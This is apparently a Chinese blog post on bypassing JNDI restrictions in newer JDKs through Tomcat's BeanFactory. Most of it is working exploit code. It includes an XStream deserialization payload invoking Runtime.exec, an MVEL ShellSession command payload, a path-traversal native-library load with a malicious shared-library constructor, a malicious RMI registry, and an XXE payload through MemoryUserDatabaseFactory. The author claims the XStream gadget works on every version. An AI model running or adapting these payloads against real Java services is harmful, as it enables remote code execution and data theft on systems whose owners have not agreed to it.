高版本jdk下JNDI漏洞的利用方式 (二)

承接之前的那篇,改正了一些地方

利用本地Class作为Reference Factory

com.thoughtworks.xstream.XStream

new com.thoughtworks.xstream.XStream().fromXML(String)同样符合条件

利用条件

com.thoughtworks.xstream 依赖

pom.xml

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.19</version>
</dependency>

虽然官方(20条消息) XStream升级1.4.18问题_蝎子莱布莱的博客-CSDN博客_xstream版本好像说修了,但是我发现全版本都能打

    private static ResourceRef tomcat_xstream(){
        ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
                "  <unserializable-parents/>\n" +
                "  <java.util.PriorityQueue>\n" +
                "    <default>\n" +
                "      <size>2</size>\n" +
                "    </default>\n" +
                "    <int>3</int>\n" +
                "    <dynamic-proxy>\n" +
                "      <interface>java.lang.Comparable</interface>\n" +
                "      <handler class='sun.tracing.NullProvider'>\n" +
                "        <active>true</active>\n" +
                "        <providerType>java.lang.Comparable</providerType>\n" +
                "        <probes>\n" +
                "          <entry>\n" +
                "            <method>\n" +
                "              <class>java.lang.Comparable</class>\n" +
                "              <name>compareTo</name>\n" +
                "              <parameter-types>\n" +
                "                <class>java.lang.Object</class>\n" +
                "              </parameter-types>\n" +
                "            </method>\n" +
                "            <sun.tracing.dtrace.DTraceProbe>\n" +
                "              <proxy class='java.lang.Runtime'/>\n" +
                "              <implementing__method>\n" +
                "                <class>java.lang.Runtime</class>\n" +
                "                <name>exec</name>\n" +
                "                <parameter-types>\n" +
                "                  <class>java.lang.String</class>\n" +
                "                </parameter-types>\n" +
                "              </implementing__method>\n" +
                "            </sun.tracing.dtrace.DTraceProbe>\n" +
                "          </entry>\n" +
                "        </probes>\n" +
                "      </handler>\n" +
                "    </dynamic-proxy>\n" +
                "    <string>calc</string>\n" +
                "  </java.util.PriorityQueue>\n" +
                "</java.util.PriorityQueue>";
        ref.add(new StringRefAddr("forceString", "a=fromXML"));
        ref.add(new StringRefAddr("a", xml));
        return ref;
    }
        public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1098");
        Registry registry = LocateRegistry.createRegistry(1098);

//        org.apache.naming.ResourceRef ref = new org.apache.naming.ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//        ref.add(new StringRefAddr("forceString", "x=evaluate"));
//        String script = String.format("'%s'.execute()", "calc");
//        ref.add(new StringRefAddr("x",script));
        //MLet
        //ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatMLet());
        //GroovyClassLoader
        //ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatGroovyClassLoader());
        //registry.bind("tomcatGroovyClassLoader", referenceWrapper);
        //tomcat_xstream
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcat_xstream());
        registry.bind("tomcat_xstream", referenceWrapper);
    }

image-20230113172300576

org.mvel2.sh.ShellSession#exec()

需要mvel2依赖(org.mvel)

pom.xml

<dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
</dependency>
    private static ResourceRef tomcat_MVEL(){
        ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=exec"));
        ref.add(new StringRefAddr("a",
                "push Runtime.getRuntime().exec('calc');"));
        return ref;
    }

image-20230113173453929

com.sun.glass.utils.NativeLibLoader

com.sun.glass.utils.NativeLibLoader是JDK的类,它有一个loadLibrary(String)方法。它会去加载指定路径的动态链接库文件,所以只要能够通过WEB功能或者写文件gadget上传一个动态链接库就可以用com.sun.glass.utils.NativeLibLoader来加载并执行命令。

利用条件:

能够任意文件上传动态链接库

JDK内置的动态链接库加载工具类,使用其loadLibrary方法,执行链如下

NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);

dll代码如下

test.cpp

#include <stdio.h>

void __attribute__ ((constructor)) my_init_so()
{
    FILE *fd = popen("calc", "r");
}

使用gcc编译一个dll文件

gcc -m64 .\test.cpp -fPIC --shared -o libcmd.dll
    private static ResourceRef tomcat_loadLibrary(){
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../../../../../tmp/libcmd"));
        return ref;
    }

复现不出,此处存疑

可以参考:java高版本下各种JNDI Bypass方法复现 - bitterz - 博客园 (cnblogs.com)

org.apache.catalina.users.MemoryUserDatabaseFactory导致的xxe&rce

xxe

浅蓝师傅通过搜索所有实现javax.naming.spi.ObjectFactory接口的类,然后挨个查看代码,其中发现了一个Tomcat的工厂类org.apache.catalina.users.MemoryUserDatabaseFactory可能会存在漏洞

image-20230113180715068

这里会先实例化一个MemoryUserDatabase对象然后从 Reference 中取出 pathname、readonly 这两个最主要的参数并调用 setter 方法赋值。

赋值完成会先调用open()方法,如果readonly=false那就会调用save()方法。

首先来看open()方法

public void open() throws Exception {
        this.writeLock.lock();

        try {
            this.users.clear();
            this.groups.clear();
            this.roles.clear();
            String pathName = this.getPathname();
            // PathName变成后面的uri
            URI uri = ConfigFileLoader.getURI(pathName);
            URLConnection uConn = null;

            try {
                URL url = uri.toURL();
                uConn = url.openConnection();
                //向uri发起请求

                InputStream is = uConn.getInputStream();
                this.lastModified = uConn.getLastModified();
                Digester digester = new Digester();
                //这个类可以xml解析

                try {
                    digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
                } catch (Exception var28) {
                    log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
                }

                digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
                //把xml的解析结果分别给group,role,user赋值

                digester.parse(is);
                //响应内容
            } catch (IOException var29) {
                log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[]{pathName}));
            } catch (Exception var30) {
                this.users.clear();
                this.groups.clear();
                this.roles.clear();
                throw var30;
            } finally {
                if (uConn != null) {
                    try {
                        uConn.getInputStream().close();
                    } catch (IOException var27) {
                        log.warn(sm.getString("memoryUserDatabase.fileClose", new Object[]{this.pathname}), var27);
                    }
                }

            }
        } finally {
            this.writeLock.unlock();
        }

    }

如上,open方法会根据pathname去发起本地或者远程文件访问,并使用 commons-digester 解析返回的 XML 内容,所以这里可以 XXE。

开启webserver,并放置一个恶意xml文件如下

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>

当XXE成功时,会向http://127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri

poc

    private static ResourceRef XXEexp(){
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/exp.xml"));
        return ref;
    }

image-20230113185227967

随后我们看到save方法

rce

创建tomcat管理员和写webshell两种。由于时间关系没有复现了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇